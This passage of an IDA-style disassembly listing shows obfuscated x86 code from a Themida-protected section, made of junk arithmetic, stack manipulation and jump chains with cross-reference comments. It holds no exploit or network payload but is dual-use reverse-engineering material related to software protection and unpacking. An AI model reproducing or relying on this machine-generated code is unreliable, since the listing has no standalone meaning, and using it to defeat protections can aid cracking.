or [esp], eax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A1063: ; CODE XREF: Themida_:005A099Cj
sub esp, 4
mov [esp], esi
mov esi, 4
jmp loc_59DC5B
; ---------------------------------------------------------------------------
loc_5A1076: ; CODE XREF: Themida_:0059D16Ej
jmp loc_59B394
; ---------------------------------------------------------------------------
loc_5A107B: ; CODE XREF: Themida_:005A8562j
push edi
mov edi, 38616C74h
add eax, edi
pop edi
push dword ptr [esp]
jmp loc_59F625
; ---------------------------------------------------------------------------
loc_5A108C: ; CODE XREF: Themida_:005ACAD2j
pop esi
add ebx, 0FFFFFFFFh
push esi
mov esi, 24CE586Fh
or ebx, esi
pop esi
add ebx, 0BF6FF7Ah
sub eax, ebx
jmp loc_5AD5A5
; ---------------------------------------------------------------------------
loc_5A10A9: ; CODE XREF: Themida_:005A3F48j
push edx
sub esp, 4
mov [esp], esp
push ebx
mov ebx, 4
jmp loc_5991ED
; ---------------------------------------------------------------------------
loc_5A10BB: ; CODE XREF: Themida_:0059A750j
add esi, 962DF81Dh
jmp loc_5ABE4E
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6B82h
mov [esp], ebp
mov ebp, esp
push 1918h
mov [esp], ecx
mov ecx, 20D80287h
shr ecx, 1
shr ecx, 7
jmp loc_5AC287
; ---------------------------------------------------------------------------
loc_5A10EB: ; CODE XREF: Themida_:loc_5AF311j
push ebx
jmp loc_5A50C9
; ---------------------------------------------------------------------------
loc_5A10F1: ; CODE XREF: Themida_:005A4987j
pop ebx
dec dl
not dl
sub dl, 7Fh
add al, dl
pop edx
jmp loc_5A3A8F
; ---------------------------------------------------------------------------
loc_5A1101: ; CODE XREF: Themida_:005A5C61j
pop edi
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_5A6A12
; ---------------------------------------------------------------------------
loc_5A1116: ; CODE XREF: Themida_:005A3755j
mov ecx, 4
jmp loc_5AB2BA
; ---------------------------------------------------------------------------
loc_5A1120: ; CODE XREF: Themida_:005ADE9Ej
shr ebx, 4
jnz loc_59C74D
jmp loc_59B033
; ---------------------------------------------------------------------------
mov [esp], ebx
push edx
mov edx, esp
push esp
loc_5A1135: ; CODE XREF: Themida_:0059D91Cj
add esp, 4
add ebp, ebx
push ebx
mov ebx, 16164372h
push eax
jmp loc_598B0A
; ---------------------------------------------------------------------------
loc_5A1149: ; CODE XREF: Themida_:005A2596j
xor ecx, esi
pop esi
neg ecx
inc ecx
dec ecx
sub ecx, 372F84F6h
sub edx, ecx
pop ecx
add edx, edi
add edx, 6AFB43E6h
pop edi
add edx, 4
xchg edx, [esp]
pop esp
push eax
push esp
pop eax
add eax, 4
push ecx
jmp loc_59D432
; ---------------------------------------------------------------------------
loc_5A117A: ; CODE XREF: Themida_:0059B26Cj
pop esp
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A1180: ; CODE XREF: Themida_:0059AD5Ej
dec cl
xor cl, 0CCh
push ecx
mov ch, 64h
dec ch
dec ch
jmp loc_59EFF0
; ---------------------------------------------------------------------------
loc_5A1191: ; CODE XREF: Themida_:005A7C8Aj
add edx, 0EFA7DE0h
jnz loc_5A4A06
inc edx
jmp loc_5A4E59
; ---------------------------------------------------------------------------
pop esp
add eax, ecx
pop eax
loc_5A11A7: ; CODE XREF: Themida_:005995DAj
xchg eax, ecx
jmp loc_5AEF41
; ---------------------------------------------------------------------------
loc_5A11AD: ; CODE XREF: Themida_:0059A288j
add eax, ecx
pop ecx
shr eax, 6
neg eax
neg eax
shr eax, 2
xchg eax, esi
jmp loc_59CBDA
; ---------------------------------------------------------------------------
loc_5A11C0: ; CODE XREF: Themida_:0059D411j
mov [esp], ebp
sub esp, 4
mov [esp], eax
push 22C96EF5h
mov eax, [esp]
jmp loc_5A247B
; ---------------------------------------------------------------------------
loc_5A11D6: ; CODE XREF: Themida_:loc_5A1652j
sub edi, 0E1FB5E3Dh
mov edx, edi
jmp loc_5A4CB4
; ---------------------------------------------------------------------------
loc_5A11E3: ; CODE XREF: Themida_:005A0F5Cj
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
push eax
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
test ecx, eax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A120C: ; CODE XREF: Themida_:00598F6Cj
mov cl, 0FAh
and cl, 94h
shl cl, 1
sub cl, 34h
xor cl, 43h
jmp loc_5ADCE5
; ---------------------------------------------------------------------------
loc_5A121E: ; CODE XREF: Themida_:005A1C73j
mov dh, 0EDh
jmp loc_5A5EF7
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
jmp loc_5A7FF9
; ---------------------------------------------------------------------------
loc_5A1234: ; CODE XREF: Themida_:005AAB59j
xchg edx, [esp]
pop esp
sub al, cl
mov cx, [esp]
add esp, 2
sub al, 0A1h
push small 41C2h
mov [esp], bx
push 58B9h
jmp loc_5A40CD
; ---------------------------------------------------------------------------
loc_5A1255: ; CODE XREF: Themida_:005A8BDAj
inc ch
jge loc_5ABBEB
inc ch
jnp loc_5AA8C2
mov dh, bh
mov ebx, ebx
loc_5A1269: ; CODE XREF: Themida_:loc_59C93Fj
jmp loc_5A8397
; ---------------------------------------------------------------------------
loc_5A126E: ; CODE XREF: Themida_:0059A73Fj
and [edi+1Ch], ebx
mov ebx, [esp]
add esp, 4
jmp loc_5A36FE
; ---------------------------------------------------------------------------
loc_5A127F: ; CODE XREF: Themida_:0059E18Cj
; Themida_:005A1FC8j
or eax, 3C1B7417h
xor eax, 6ED4B40h
jmp loc_5AAB1B
; ---------------------------------------------------------------------------
loc_5A128E: ; CODE XREF: Themida_:005AB4A6j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebp
push edx
mov edx, 2FCF1890h
push edi
push esp
pop edi
push ebx
mov ebx, 6ACC206Bh
shl ebx, 1
xor ebx, 5D4037E3h
xor ebx, 88D87731h
add edi, ebx
mov ebx, [esp]
add esp, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esi
jmp loc_59FF3B
; ---------------------------------------------------------------------------
loc_5A12D1: ; CODE XREF: Themida_:005ADAC8j
pop ebx
pop eax
push 66BCh
mov [esp], ecx
mov ecx, 43B6398Fh
jmp loc_5A775C
; ---------------------------------------------------------------------------
loc_5A12E5: ; CODE XREF: Themida_:005A6FEDj
; Themida_:005AB0EAj
push edi
mov edi, ecx
jmp loc_599607
; ---------------------------------------------------------------------------
loc_5A12ED: ; CODE XREF: Themida_:005A4FBBj
pop esp
jmp loc_5A8692
; ---------------------------------------------------------------------------
loc_5A12F3: ; CODE XREF: Themida_:0059ABD8j
and ch, 0C7h
add ch, 0F0h
dec ch
jmp loc_59E14C
; ---------------------------------------------------------------------------
loc_5A1300: ; CODE XREF: Themida_:005A30A8j
or ch, 30h
xor ch, 45h
sub al, ch
pop ecx
jmp loc_599B7D
; ---------------------------------------------------------------------------
loc_5A130E: ; CODE XREF: Themida_:0059F7F8j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A1313: ; CODE XREF: Themida_:005A8EBFj
mov eax, [esp]
add esp, 4
add edx, edi
mov edi, [esp]
add esp, 4
jmp loc_598EAF
; ---------------------------------------------------------------------------
loc_5A132C: ; CODE XREF: Themida_:005ADA8Ej
mov ebx, 5AB17492h
xor ebx, esi
pop esi
sub esi, ebx
pop ebx
jmp loc_59D0EC
; ---------------------------------------------------------------------------
loc_5A133C: ; CODE XREF: Themida_:005AE8B0j
pop esi
sub ebx, 4
xchg ebx, [esp]
jmp loc_59F3C6
; ---------------------------------------------------------------------------
loc_5A134B: ; CODE XREF: Themida_:005A9D06j
sub esp, 4
mov [esp], ecx
jmp loc_5AA90C
; ---------------------------------------------------------------------------
loc_5A1356: ; CODE XREF: Themida_:0059C474j
; Themida_:005A235Cj
pop esi
push ebp
mov ebp, 2A52E52h
jmp loc_59D38C
; ---------------------------------------------------------------------------
loc_5A1362: ; CODE XREF: Themida_:0059C584j
add ecx, ebp
pop ebp
jmp loc_5A0FD5
; ---------------------------------------------------------------------------
loc_5A136A: ; CODE XREF: Themida_:005A010Fj
mov edi, [esp]
add esp, 4
jmp loc_5A9D03
; ---------------------------------------------------------------------------
loc_5A1375: ; CODE XREF: Themida_:005A05D9j
sub edx, edi
pop edi
add edx, 563E0ACDh
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_5ABFDC
; ---------------------------------------------------------------------------
loc_5A138F: ; CODE XREF: Themida_:005AC95Cj
; Themida_:005AE905j
imul ecx
jmp loc_5A76BE
; ---------------------------------------------------------------------------
loc_5A1396: ; CODE XREF: Themida_:005A9C96j
shr ecx, 4
js loc_5A2534
and ecx, 3E0D1955h
dec ecx
jmp loc_5A471B
; ---------------------------------------------------------------------------
loc_5A13AB: ; CODE XREF: Themida_:005A34CAj
push edi
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
add esp, 4
pop dword ptr [esp]
jmp loc_5AB4AB
; ---------------------------------------------------------------------------
loc_5A13BF: ; CODE XREF: Themida_:0059A78Fj
mov eax, [ecx]
push dword ptr [esp]
pop ecx
jmp loc_598CD9
; ---------------------------------------------------------------------------
loc_5A13CA: ; CODE XREF: Themida_:005A71C9j
xchg ebx, edx
push ebx
jmp loc_5AD440
; ---------------------------------------------------------------------------
loc_5A13D2: ; CODE XREF: Themida_:0059A20Fj
; Themida_:005A195Bj ...
push 4B0Ch
jmp loc_59BEA6
; ---------------------------------------------------------------------------
loc_5A13DC: ; CODE XREF: Themida_:005A55D5j
xor ebp, 22062963h
inc ebp
jmp loc_5A0C67
; ---------------------------------------------------------------------------
loc_5A13E8: ; CODE XREF: Themida_:005AE213j
mov ecx, [esp]
add esp, 4
xchg eax, [esp]
jmp loc_59A53E
; ---------------------------------------------------------------------------
loc_5A13F9: ; CODE XREF: Themida_:005A6A8Dj
add eax, 4
xchg eax, [esp]
jmp loc_5A1E01
; ---------------------------------------------------------------------------
loc_5A1406: ; CODE XREF: Themida_:0059A027j
; Themida_:005ADBFAj
pop ebp
jmp loc_5AA856
; ---------------------------------------------------------------------------
loc_5A140C: ; CODE XREF: Themida_:005A6066j
; Themida_:005A9910j ...
add al, 85h
and al, 9Eh
jmp loc_5AC8F3
; ---------------------------------------------------------------------------
loc_5A1415: ; CODE XREF: Themida_:005AD354j
pop esp
or edx, eax
shl edx, 1
push ebx
mov ebx, 7B151069h
push edx
push 2255h
mov [esp], edi
push 1B4A617Eh
mov edi, [esp]
add esp, 4
dec edi
jnz loc_5A1652
jmp loc_5ACFD9
; ---------------------------------------------------------------------------
sub dl, 51h
or dl, 0D7h
inc dl
inc dl
loc_5A144A: ; CODE XREF: Themida_:005A2B34j
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
mov edx, 78E4A62h
push ebp
jmp loc_5A60DE
; ---------------------------------------------------------------------------
loc_5A145F: ; CODE XREF: Themida_:0059EE42j
mov ecx, 4
add edx, ecx
pop ecx
push ebp
mov ebp, 2
sub edx, 1A9E3C29h
jmp loc_5A7489
; ---------------------------------------------------------------------------
loc_5A1478: ; CODE XREF: Themida_:005A4123j
and eax, edx
mov edx, [esp]
add esp, 4
jmp loc_59EA2D
; ---------------------------------------------------------------------------
loc_5A1485: ; CODE XREF: Themida_:0059C7A4j
pop esp
jmp loc_598D08
; ---------------------------------------------------------------------------
loc_5A148B: ; CODE XREF: Themida_:005A76ECj
; Themida_:005A78ABj
push 551Dh
mov [esp], ebx
push edi
mov edi, 3A51FCEh
mov ebx, 3E2E5BABh
xor ebx, edi
jmp loc_5A51CA
; ---------------------------------------------------------------------------
loc_5A14A5: ; CODE XREF: Themida_:0059CF7Cj
shr ebx, 5
jmp loc_5AEF95
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
mov esi, esp
jmp loc_5ACEC7
; ---------------------------------------------------------------------------
loc_5A14C1: ; CODE XREF: Themida_:0059BC63j
sub ebx, eax
jmp loc_5A339E
; ---------------------------------------------------------------------------
loc_5A14C8: ; CODE XREF: Themida_:005A03AFj
add edx, eax
sub edx, 5B475644h
sub edx, 3E587587h
push esi
mov esi, 7DC6FA4h
push 53D6h
mov [esp], edi
push 5AFDh
mov [esp], edx
push ebp
push 17BB43B0h
mov ebp, [esp]
add esp, 4
and ebp, 59412548h
jmp loc_59D9E1
; ---------------------------------------------------------------------------
loc_5A1506: ; CODE XREF: Themida_:005A808Bj
shr cl, 1
push ebx
mov bh, 88h
or bh, 0CCh
push dx
mov dh, bh
not dh
mov bh, dh
pop dx
sub bh, 2Ah
xor cl, bh
pop ebx
push eax
jmp loc_5998A0
; ---------------------------------------------------------------------------
loc_5A1524: ; CODE XREF: Themida_:005A71D1j
mov [esp], edx
push esi
jmp loc_598D9F
; ---------------------------------------------------------------------------
loc_5A152D: ; CODE XREF: Themida_:005A3CF2j
sub al, 90h
jg loc_59BBA4
xor al, 89h
jnp loc_5A6975
or ah, 29h
loc_5A1540: ; CODE XREF: Themida_:005AA1E1j
push eax
mov ah, 10h
or ah, 6
jmp loc_5AF275
; ---------------------------------------------------------------------------
loc_5A154B: ; CODE XREF: Themida_:005A01BDj
mov esp, [esp]
mov [esp], ecx
mov ecx, esp
add ecx, 4
push ecx
jmp loc_59E3E8
; ---------------------------------------------------------------------------
loc_5A155F: ; CODE XREF: Themida_:0059C4FEj
mov edi, [esp]
jmp loc_5A0C8B
; ---------------------------------------------------------------------------
loc_5A1567: ; CODE XREF: Themida_:0059DA20j
mov edx, [esp]
push 1EA1h
mov [esp], edi
mov edi, esp
add edi, 4
sub esp, 4
mov [esp], esi
mov esi, 203F2153h
add esi, 6ACD2DDCh
add esi, 66CA0205h
or esi, 6DA054A4h
push eax
mov eax, 4D84563Dh
jmp loc_599AF4
; ---------------------------------------------------------------------------
loc_5A15A2: ; CODE XREF: Themida_:0059D0A5j
mov edx, 8C06801Ah
jmp loc_59A567
; ---------------------------------------------------------------------------
loc_5A15AC: ; CODE XREF: Themida_:0059B3CAj
push ebx
jmp loc_5A2504
; ---------------------------------------------------------------------------
loc_5A15B2: ; CODE XREF: Themida_:005A1D94j
or ah, 51h
jo loc_59CA0C
push ecx
jmp loc_5A718A
; ---------------------------------------------------------------------------
loc_5A15C1: ; CODE XREF: Themida_:005A9387j
mov esp, [esp]
jmp loc_59D5B8
; ---------------------------------------------------------------------------
loc_5A15C9: ; CODE XREF: Themida_:005ACD23j
shr eax, 8
not eax
xor eax, 99A14431h
push eax
xor dword ptr [esp], 651B092Dh
jmp loc_5A7E48
; ---------------------------------------------------------------------------
loc_5A15E0: ; CODE XREF: Themida_:005A1D14j
pop edx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59F1C3
; ---------------------------------------------------------------------------
loc_5A15EC: ; CODE XREF: Themida_:0059932Fj
add al, dh
jmp loc_5ADF2A
; ---------------------------------------------------------------------------
loc_5A15F3: ; CODE XREF: Themida_:0059FCC0j
; Themida_:005A2F36j
mov [esp], eax
mov eax, esp
jmp loc_5A32F5
; ---------------------------------------------------------------------------
loc_5A15FD: ; CODE XREF: Themida_:005A6167j
add dh, 0BEh
add dh, 0FDh
jmp loc_5AD686
; ---------------------------------------------------------------------------
loc_5A1608: ; CODE XREF: Themida_:005AE430j
add edi, 4
jmp loc_59C365
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_5AB65F
; ---------------------------------------------------------------------------
loc_5A161B: ; CODE XREF: Themida_:005A6342j
jo loc_59EA97
xor ecx, 70EB0E1Ah
push ecx
pop edi
pop ecx
shr edi, 6
shl edi, 4
not edi
sub edi, 0DA0AE021h
jmp loc_59BE79
; ---------------------------------------------------------------------------
loc_5A163D: ; CODE XREF: Themida_:005AD328j
mov [esp], ecx
push ebx
mov ebx, 0A845718h
jmp loc_5ACF88
; ---------------------------------------------------------------------------
loc_5A164B: ; CODE XREF: Themida_:005AE7E6j
add edx, ecx
jmp loc_5A3BFA
; ---------------------------------------------------------------------------
loc_5A1652: ; CODE XREF: Themida_:005A1435j
; Themida_:005AA29Dj
jmp loc_5A11D6
; ---------------------------------------------------------------------------
loc_5A1657: ; CODE XREF: Themida_:0059CB6Aj
sub dl, 51h
or dl, 0D7h
inc dl
inc dl
push ecx
mov cl, 6Bh
xor cl, 67h
jmp loc_5A6285
; ---------------------------------------------------------------------------
loc_5A166C: ; CODE XREF: Themida_:005A919Cj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5A4C04
; ---------------------------------------------------------------------------
loc_5A1680: ; CODE XREF: Themida_:005A39AAj
add dword ptr [esp], 4
pop esi
add esi, 4
push edi
mov edi, 4
add esi, edi
pop edi
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A16A8: ; CODE XREF: Themida_:0059F131j
add ebx, 4
xchg ebx, [esp]
jmp loc_5A3DEE
; ---------------------------------------------------------------------------
loc_5A16B3: ; CODE XREF: Themida_:005988ECj
pop esp
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
push ecx
push 6547h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ecx
sub esp, 4
mov [esp], ebp
jmp loc_59D008
; ---------------------------------------------------------------------------
loc_5A16E9: ; CODE XREF: Themida_:0059D077j
add ebx, 40DD013Dh
jns loc_598C07
not ebx
jmp loc_5AF205
; ---------------------------------------------------------------------------
xor ecx, [esp]
and al, 2Bh
loc_5A1701: ; CODE XREF: Themida_:005AAF44j
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
add esp, 4
add edi, 4
sub esp, 4
mov [esp], esi
push eax
mov eax, 53A3469Fh
xor eax, 59FF336Dh
jle loc_59B705
shl eax, 2
jnp loc_5A713C
neg eax
jmp loc_5A3ED3
; ---------------------------------------------------------------------------
mov bl, ch
push esi
loc_5A1745: ; CODE XREF: Themida_:005AC3EAj
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
mov edx, eax
push edx
add dword ptr [esp], 4B0074ABh
pop ebx
sub ebx, 4B0074ABh
jmp loc_59FEB8
; ---------------------------------------------------------------------------
loc_5A1765: ; CODE XREF: Themida_:005AC07Dj
xor [esp], edx
xor edx, [esp]
pop esp
add esp, 4
mov ecx, [esp]
push eax
push esp
pop eax
jmp loc_5A5F2F
; ---------------------------------------------------------------------------
loc_5A177D: ; CODE XREF: Themida_:005AE1F1j
mov edx, 6E765D0Fh
sub edi, edx
pop edx
jmp loc_59A5C3
; ---------------------------------------------------------------------------
loc_5A178A: ; CODE XREF: Themida_:005AB2F4j
pop esp
jmp loc_5A5AC9
; ---------------------------------------------------------------------------
loc_5A1790: ; CODE XREF: Themida_:0059A1B2j
sub ebx, ebp
pop ebp
add ebx, 158E7EFBh
jmp loc_598611
; ---------------------------------------------------------------------------
loc_5A179E: ; CODE XREF: Themida_:005A1B85j
neg edi
shr edi, 3
shr edi, 8
not edi
jmp loc_598A2E
; ---------------------------------------------------------------------------
loc_5A17AD: ; CODE XREF: Themida_:005AB238j
or eax, 4BC45546h
jmp loc_59FABB
; ---------------------------------------------------------------------------
loc_5A17B7: ; CODE XREF: Themida_:0059EF98j
push 3A92h
mov [esp], ebp
mov ebp, esp
push esi
jmp loc_59E1AE
; ---------------------------------------------------------------------------
loc_5A17C7: ; CODE XREF: Themida_:loc_59C46Bj
xor cl, 5Ah
jnp loc_5A4C36
sub esp, 4
mov [esp], eax
push eax
loc_5A17DA: ; CODE XREF: Themida_:005A5A2Dj
jns loc_5989C7
sub esp, 4
mov [esp], edi
push ebx
push 64C1h
mov [esp], ecx
loc_5A17EF: ; CODE XREF: Themida_:005A0832j
pop edi
push ecx
mov ecx, 53E41CC0h
jmp loc_59E263
; ---------------------------------------------------------------------------
loc_5A17FB: ; CODE XREF: Themida_:00598B47j
mov [esp], bx
sub esp, 4
mov [esp], edi
push esp
pop edi
push edx
jmp loc_5A68A5
; ---------------------------------------------------------------------------
loc_5A180D: ; CODE XREF: Themida_:0059F782j
add esp, 4
sub esp, 4
mov [esp], esi
sub dword ptr [esp], 55CD2E16h
mov edi, [esp]
push 0D67h
mov [esp], ebx
jmp loc_5A7D3D
; ---------------------------------------------------------------------------
loc_5A182D: ; CODE XREF: Themida_:005AF32Aj
mov [esp], ebx
jmp loc_5A2242
; ---------------------------------------------------------------------------
loc_5A1835: ; CODE XREF: Themida_:005AEFE8j
add edx, 59AE39A4h
push ecx
mov ecx, 72726F1h
add edx, 17810C2Fh
add edx, ecx
jmp loc_59983F
; ---------------------------------------------------------------------------
loc_5A184E: ; CODE XREF: Themida_:0059A795j
add bl, 0B4h
add bl, 3Ch
movzx eax, al
jmp loc_5AF4EB
; ---------------------------------------------------------------------------
loc_5A185C: ; CODE XREF: Themida_:005ADCFBj
add bl, ah
add bl, 0CDh
mov eax, [esp]
add esp, 4
sub bl, 0C3h
add bl, al
add bl, 0C3h
push ecx
mov ch, 0BBh
sub esp, 2
mov [esp], bx
mov bl, 51h
xor ch, bl
pop bx
sub bl, ch
pop ecx
jmp loc_59EC8E
; ---------------------------------------------------------------------------
loc_5A1887: ; CODE XREF: Themida_:005A7EE2j
pop ebp
sub eax, esi
jmp loc_5A2E00
; ---------------------------------------------------------------------------
loc_5A188F: ; CODE XREF: Themida_:0059AC97j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esi
push eax
mov eax, 13276E40h
sub esp, 4
mov [esp], eax
jmp loc_59F7AD
; ---------------------------------------------------------------------------
loc_5A18AD: ; CODE XREF: Themida_:005A2495j
jnb loc_5987E6
shr eax, 4
js loc_5A9C90
jmp loc_5A61E6
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4B31h
mov [esp], ebp
push 2930h
mov [esp], esp
push ecx
jmp loc_5ABB95
; ---------------------------------------------------------------------------
loc_5A18DB: ; CODE XREF: Themida_:0059FC63j
mov ebx, 26F67167h
xchg ebp, ebx
not ebp
push ebx
jmp loc_59EA97
; ---------------------------------------------------------------------------
loc_5A18EA: ; CODE XREF: Themida_:0059CE1Dj
push 12C1h
jmp loc_5AE435
; ---------------------------------------------------------------------------
loc_5A18F4: ; CODE XREF: Themida_:005A7237j
pop edx
xor eax, [esp]
jmp loc_5995BE
; ---------------------------------------------------------------------------
loc_5A18FD: ; CODE XREF: Themida_:005A8B75j
mov edx, 35964022h
mov ebx, 0AEA89E8Eh
push ecx
jmp loc_599AC0
; ---------------------------------------------------------------------------
mov ax, [esp]
push 2DFBh
mov [esp], ebx
push esp
pop ebx
add ebx, 4
jmp loc_5A70D2
; ---------------------------------------------------------------------------
loc_5A1926: ; CODE XREF: Themida_:005ABE01j
push edx
mov edx, esp
push ebp
mov ebp, 7B612859h
or ebp, 5D1C5144h
jmp loc_59B7FB
; ---------------------------------------------------------------------------
loc_5A193A: ; CODE XREF: Themida_:005A582Bj
; Themida_:005A78D6j
add edi, eax
pop eax
push 140Ch
mov [esp], edx
mov edx, 4
jmp loc_59F91C
; ---------------------------------------------------------------------------
loc_5A194F: ; CODE XREF: Themida_:005A2796j
jno loc_5AA410
sub esi, 58FCF9A3h
jmp loc_5A13D2
; ---------------------------------------------------------------------------
mov cl, dh
loc_5A1962: ; CODE XREF: Themida_:005A8427j
mov edx, [esp]
push edi
jmp loc_5A4ABC
; ---------------------------------------------------------------------------
loc_5A196B: ; CODE XREF: Themida_:00599B4Dj
jmp loc_5A42C6
; ---------------------------------------------------------------------------
loc_5A1970: ; CODE XREF: Themida_:005AE4A0j
xor al, bl
pop ebx
push ecx
push edx
mov dl, 7Ah
shr dl, 8
inc dl
jns loc_59A420
jmp loc_5AB400
; ---------------------------------------------------------------------------
sub ebp, edi
jmp loc_59921B
; ---------------------------------------------------------------------------
loc_5A198E: ; CODE XREF: Themida_:005AD4D6j
sub esp, 4
mov [esp], ebx
jmp loc_5AC926
; ---------------------------------------------------------------------------
loc_5A1999: ; CODE XREF: Themida_:005A5B9Dj
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5ACEC2
; ---------------------------------------------------------------------------
loc_5A19A9: ; CODE XREF: Themida_:0059D9AFj
sub eax, 53B600DAh
sub eax, 2DFE7264h
push dword ptr [esp]
pop esi
push eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_59ED3C
; ---------------------------------------------------------------------------
loc_5A19CF: ; CODE XREF: Themida_:0059DC67j
sub eax, 7DA52320h
push esi
push 2D45h
mov [esp], ebx
mov ebx, 435F470Ch
jmp loc_5A7A61
; ---------------------------------------------------------------------------
loc_5A19E7: ; CODE XREF: Themida_:005ABEFAj
pop edi
mov esi, ebp
jmp loc_59CDE4
; ---------------------------------------------------------------------------
loc_5A19EF: ; CODE XREF: Themida_:0059C36Fj
xor [esp], eax
jmp loc_59862D
; ---------------------------------------------------------------------------
loc_5A19F7: ; CODE XREF: Themida_:00599BD0j
or eax, 20C55DD3h
neg eax
sub eax, 0D2358B02h
add ebx, eax
pop eax
push 469Fh
jmp loc_5985BA
; ---------------------------------------------------------------------------
loc_5A1A10: ; CODE XREF: Themida_:005A4744j
mov ch, 0A2h
jmp loc_59FACC
; ---------------------------------------------------------------------------
loc_5A1A17: ; CODE XREF: Themida_:0059F53Cj
shl edi, 6
xor edi, 1C4E2EBDh
push ecx
jmp loc_599512
; ---------------------------------------------------------------------------
loc_5A1A26: ; CODE XREF: Themida_:loc_5A74E0j
; Themida_:005A7A9Ej
pop ecx
shr ebx, 5
sub ebx, 9EF26AB8h
add ecx, ebx
mov ebx, [esp]
add esp, 4
add ecx, 854E49B8h
xor edi, ecx
mov ecx, [esp]
jmp loc_5A85C1
; ---------------------------------------------------------------------------
loc_5A1A48: ; CODE XREF: Themida_:005A4DBBj
add ebp, 4
push edi
mov edi, 6DA8263Ch
add edi, 3472291h
xor edi, 29A94D6Ch
xor edi, 594605A5h
sub ebp, edi
pop edi
xchg ebp, [esp]
mov esp, [esp]
mov [esp], eax
mov eax, esp
push esi
mov esi, 4
add eax, esi
pop esi
jmp loc_59C017
; ---------------------------------------------------------------------------
loc_5A1A82: ; CODE XREF: Themida_:005A039Ej
mov esp, [esp]
or eax, eax
jnz loc_59CE12
push 3680h
jmp loc_5A8F52
; ---------------------------------------------------------------------------
loc_5A1A97: ; CODE XREF: Themida_:005A6838j
add al, cl
add al, 3Fh
sub al, 0D1h
push ebx
push eax
mov al, 0A3h
inc al
jmp loc_5A3CEC
; ---------------------------------------------------------------------------
loc_5A1AA8: ; CODE XREF: Themida_:005A8AB4j
pop edi
add edx, ecx
mov ecx, [esp]
add esp, 4
add edx, 26FF670Fh
pop eax
push eax
mov eax, 2
jmp loc_5AC0B6
; ---------------------------------------------------------------------------
loc_5A1AC6: ; CODE XREF: Themida_:005AE7B5j
push ebx
push eax
push ebx
mov bh, 96h
push 2BD3h
mov [esp], eax
mov al, 65h
sub bh, al
pop eax
push small 576Ch
mov [esp], cx
jmp loc_5A64D4
; ---------------------------------------------------------------------------
loc_5A1AE5: ; CODE XREF: Themida_:005AEBF3j
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
add eax, 4
jmp loc_5A3D27
; ---------------------------------------------------------------------------
loc_5A1AF9: ; CODE XREF: Themida_:0059C93Aj
dec ecx
jl loc_5A711F
shr ecx, 7
jmp loc_5A4E94
; ---------------------------------------------------------------------------
loc_5A1B08: ; CODE XREF: Themida_:005A035Aj
mov eax, 4
sub edi, eax
pop eax
jmp loc_59CF22
; ---------------------------------------------------------------------------
loc_5A1B15: ; CODE XREF: Themida_:0059A111j
; Themida_:005A7A7Fj
add edi, ecx
push ebx
mov ebx, 2CDC4894h
jmp loc_5AEDA9
; ---------------------------------------------------------------------------
loc_5A1B22: ; CODE XREF: Themida_:005AE052j
mov [esp], ebp
mov eax, [esp]
push 7B28h
mov [esp], ecx
push esp
pop ecx
push ebp
mov ebp, 4
jmp loc_5AA5ED
; ---------------------------------------------------------------------------
loc_5A1B3D: ; CODE XREF: Themida_:005AB1E1j
mov [esp], ebx
jmp loc_59B27E
; ---------------------------------------------------------------------------
loc_5A1B45: ; CODE XREF: Themida_:0059A1DDj
sub esp, 4
jmp loc_5998F5
; ---------------------------------------------------------------------------
loc_5A1B4D: ; CODE XREF: Themida_:005AD7A9j
shr esi, 6
or esi, 60EA5893h
jl loc_59EC9C
jmp loc_59ED48
; ---------------------------------------------------------------------------
loc_5A1B61: ; CODE XREF: Themida_:005A2AA0j
push esi
mov esi, 52D131Eh
or edx, esi
pop esi
not edx
add edx, 0CD06886Eh
add ebx, 0EBB5082h
sub ebx, edx
jmp loc_5A62C7
; ---------------------------------------------------------------------------
loc_5A1B7F: ; CODE XREF: Themida_:0059E96Dj
and edi, 220213AFh
jmp loc_5A179E
; ---------------------------------------------------------------------------
loc_5A1B8A: ; CODE XREF: Themida_:005AC69Dj
mov [esp], edi
mov edi, esp
jmp loc_599383
; ---------------------------------------------------------------------------
loc_5A1B94: ; CODE XREF: Themida_:005A7AFEj
or esi, 5F077D13h
add esi, 0B2223B4h
sub esi, 68017141h
or ebx, esi
pop esi
push ecx
jmp loc_5AEA08
; ---------------------------------------------------------------------------
loc_5A1BAF: ; CODE XREF: Themida_:005A5290j
mov [esp], ebx
mov ebx, 2D9F6963h
xor [esp+4], ebx
mov ebx, [esp]
add esp, 4
pop dword ptr [edi+40h]
sub esp, 4
jmp loc_5AA163
; ---------------------------------------------------------------------------
loc_5A1BD2: ; CODE XREF: Themida_:005A0EFFj
